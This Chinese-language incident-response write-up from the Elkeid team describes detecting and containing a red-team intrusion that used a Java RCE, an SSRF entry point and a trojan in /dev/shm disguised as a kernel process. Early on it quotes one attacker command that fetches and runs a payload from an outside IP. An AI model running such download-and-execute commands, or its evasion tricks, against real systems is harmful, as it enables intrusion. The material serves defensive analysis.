一、背景
Elkeid 起源于字节跳动（ByteDance）内部最佳实践，原生集成了针对 服务器/容器/Serverless 等多种工作负载的反入侵能力。
近期这里 Elkeid Team 分享一起在近期发生的入侵应急事件，在该事件中由 Elkeid 提供的产品能力，极大的方便了防御方在整个入侵过程中的处置和应急。这篇分享旨在通过记录和复盘该过程，提供 Elkeid 进行防御的相关思路。
二、Elkeid 应急案例
2.1 告警 & 事件归并
某日下午，值班查看告警的小伙伴在处置告警的过程中发现了一起外部的 Java RCE 告警，根据事件关联的其它告警判断存在入侵行为，随后便拉起应急。
可以清晰的看到入侵者尝试下载并执行某木马。
curl 8.x.x.161/t -o /dev/shm/kworker; chmod x /dev/shm/kworker; /dev/shm/kworker
Elkeid 原生支持了事件归并能力，Elkeid 会利用溯源引擎，分别对各自告警进行溯源，并提取告警中的关键信息，通过告警列表中的从属事件一栏可以直接进入告警所关联的事件，并查看跟此告警具备关联性的其他告警。
Elkeid 事件当中列出了成集群状的有关联性的所有告警，从右上角可以看到对应告警类型分布情况，在中间是所有合并的归因原因，其中可以看到关联的IP/文件/主机进程等相关信息。
从关联的事件详情页中，可以看到除了木马被下载之外，木马已经被拉起并外联了。木马本身下载位置在共享内存/dev/shm中，用以躲避文件落盘可能触发的扫描行为。同时木马在启动时还进行了伪装，假装为[kworker/14:1] 内核进程来增加人员登录时的排查难度。
无文件执行 — 利用共享内存的木马执行，不触发文件创建/落盘检测
伪装内核进程 — 执行后的进程修改自身命令行，伪装成内核进程的形式，尝试绕开安全人员排查
看到木马已经被拉起之后，应急小组立刻组织值班人员和后备人员登录机器进行排查，按照应急处置流程固定证据并进行排查止损，确定受损范围。
2.2 定损
登录机器后，需要进一步排查是否存在驻留，这时杀伤链告警就起到了很大的作用。
从生成的杀伤链告警来看，攻击者尚处于刚刚进入系统，还在下载赋权木马的阶段。除了木马本身，尚未见到在crontab、systemd service、bashrc等常见驻留地方的写入和变更。
因此处置人员立刻用cgroup隔离了相关的木马。
杀伤链告警，仅有下载赋权，没有驻留节点和行为
创建的只有日志文件，没有驻留相关文件
2.3 对抗
当时安全人员长出一口气，认为剩下的就是翻看服务日志，排查可能的来源和攻击入口，然而事情并非如此简单。
在大部分应急小组成员翻看日志的时候，一位处置人员在研究事件入侵时却通过实时事件归并看到了全新的告警和全新的C2地址。
C2和所下载的文件名已经更换成了databus00000000xxx的形式
应急小组立刻警觉了起来，攻击者还在实时入侵！
于是立刻分出一个人进行机器防御，根据告警实时关闭和查杀木马；另有专人紧急联系业务，在获得许可后进行网络隔离，关闭该机器对外网访问能力。断网效果很显著，一段时间内，入侵者没有再次触发其他告警。
在大家再次觉得事情平息时，监控事件和告警的同学再一次提醒大家，通过“实时事件归并”功能发现另一台机器上也被入侵了！
此时应急人员不得不再次分兵，进行后门查杀，并写了/dev/shm下的专杀脚本出来，避免后续同业务其它机器被再次种马。
此时应急人员已经意识到了，当前就是在和嚣张的入侵者进行抢时间比赛，应急人员早一点找到真实攻击入口，就能赶在因为分兵防守导致人力枯竭之前结束这场战斗。
2.4 利用RASP排查入口
好在日志排查小组很快找到了上一跳的来源，是来自一个对外提供的API服务。但在上一跳API服务所在机器上并没有发现任何驻留告警，只有一个容器内的dnslog告警。攻击者所用的dnslog服务和被入侵机器在初期测试时一样都是某特殊dnslog服务的域名，我们有理由认为这是同一个入侵者在前期踩点，利用dnslog测试漏洞。
由于 Elkeid 告警中提供了容器名和镜像名，我们得以通过这个关键信息找到业务方。进而得知被利用的业务本身为对客户提供支持的API服务，无法长期关闭。应急小组在这时产生了两个假设，一组人员认为是存在内存马，另一组人员认为存在SSRF。于是为了解决这个问题，应急小组下发了RASP来协助排查入口。
很快的 RASP 就随着入侵者持续的测试和攻击行为产生了告警。
告警内容是敏感文件读写，可以看到入侵者仍在持续进行当前机器的探测，但也说明目前攻击者还在利用的初级阶段。从调用栈中可以看到是存在一个处理下载逻辑的 Controller类，通过和相关业务确认得知这个类属于业务代码，结合其他调用栈信息排除了动态注入内存马的可能性。
从对该应用更多的 RASP 数据的分析中，发现在某个业务逻辑中存在对上一个受害 Jenkins服务的网络连接数据，在RASP调用栈中进而确认到 SSRF 漏洞具体代码位置。
在判断出是存在 SSRF 盲打漏洞后，业务依据RASP所记录的栈信息排查了能访问其他IP的功能项，并对该功能项进行Hot-fix执行下线处理。至此，再也没有相关告警进入，应急完成。
在事后应急小组进行定损取证，并开始反向调查入侵者身份时，被安全负责人告知为背靠背渗透演练。快速的反应和阻断得到了渗透方的高度评价，横向尝试均被抓获，基本没有进一步渗透的时间。
三、事件回顾
以上为本次入侵的整体图谱，本次入侵者使用的木马经过了免杀处理 ，同时通过写入共享内存进行了一定的入侵对抗。因此传统主机安全的落盘文件检测、静态文件检测等功能，在这个事件中均不能起到很好的作用。
VirusTotal 中现有的60个商业病毒检测引擎均对此次样本没有检出
Elkeid 基于内核层数据采集的动态行为告警正是面对这种较强对抗性入侵的不二之选，Elkeid 在本次应急过程中不只是提供了各个行为点位的动态告警，同时还提供很多功能特性用于辅助安全人员进行判断和处置。
3.1 溯源查看驻留信息
Elkeid 对每一个行为生成的告警均会进行自动化溯源，在看到告警的同时，溯源数据也会提供在告警当中。往往安全人员在登录机器排查后会遇到一连串问题：
- 到底有多少文件是入侵者引入的？
- 哪些地方有驻留？
- 木马文件是否删除干净？
- 入侵者有没有横向移动？
- 有多少数据遭到窃取？
以上这种信息往往需要通过安全专家在机器上进行细致排查才能确认，或者干脆重装整个机器才能彻底解决这种疑问带来的不确定性。
现在 Elkeid 提供实时溯源能力，可以在告警同时得知入侵者的具体行为，包括文件创建/内网访问/数据读取等行为均可以在溯源图上看到。这会极大的缩短判断时间，同时将对业务造成的影响缩减到最小。安全人员完全可以根据入侵者行为编写专杀，清理后门，同时不用迁移/重启/停止业务。
3.2 实时事件归并
从整体事件页面看，攻击者一共触发了73个告警，其中大多数为应急处置中引发的试探入侵阶段的对抗行为。Elkeid 实时事件归并能力可以将相关的 IP /进程/主机/文件 均自动关联并在单一事件中展示。处置人员无需跳转其它页面，即可在事件处置过程中获取到最新的关联有效告警。
以下为本次安全事件中的归因逻辑，涵盖了所有下载的木马、被感染的机器，以及 C2 IP 的记录。安全人员在排查事件时，只需要刷新一下页面，就可以看到入侵者是否有新的动作产生？哪些机器还受到影响？哪些IP 还需要进行封禁？
3.3 RASP获取数据辅助判断
Elkeid-RASP 是 Elkeid CWPP 的重要组成部分，RASP 允许安全人员植入探针，在应用运行时（Application Runtime）完成数据采集以对抗应用安全风险。在当前的例子中，入口服务为业务自行维护的对外 API，本身并没有部署 RASP 进行防护，但需要进一步判断入口时，可以复用 Elkeid 数据和指令流，无需准备即可立刻下发探针，完成对运行时敏感函数的 Hook。Hook 点位在运行时，不会侵入业务代码，仅仅需要知道服务所在进程 ID 即可完成部署，并很快获取数据上报，对业务本身进程无影响。
在这个例子中，RASP 获取到的数据可以整合成如下的知识图，可以看到对相同漏洞利用、RASP 上报数据中会形成完全一致的调用链条哈希，这种哈希会在实时事件归并中体现，并协助安全人员判断业务逻辑漏洞类型。安全分析师在事后追溯和调查取证中，也可以从RASP数据直观了解攻击的影响面，包括攻击者横向访问过的机器列表、以及通过漏洞下载的敏感文件等重要信息，进而协助业务进行针对性的信息更新和漏洞修复。
有的同学也许会问，如果业务无法现场修复漏洞，应该如何处理？这不用担心，Elkeid 已经为相关场景构建了应对能力，这个谜底在Elkeid V1.9.1 即将揭晓。
四、后记
Elkeid 目前也具备了公有云安全能力，同时也可以私有化部署。Elkeid 的端上能力与配套的后端调度服务均已开源，我们欢迎感兴趣的个人和团体加入讨论组，一起推进全网整体安全水位。
Elkeid 开源版本项目地址，欢迎大家体验
https://github.com/bytedance/Elkeid
讨论组（飞书扫码加入）：
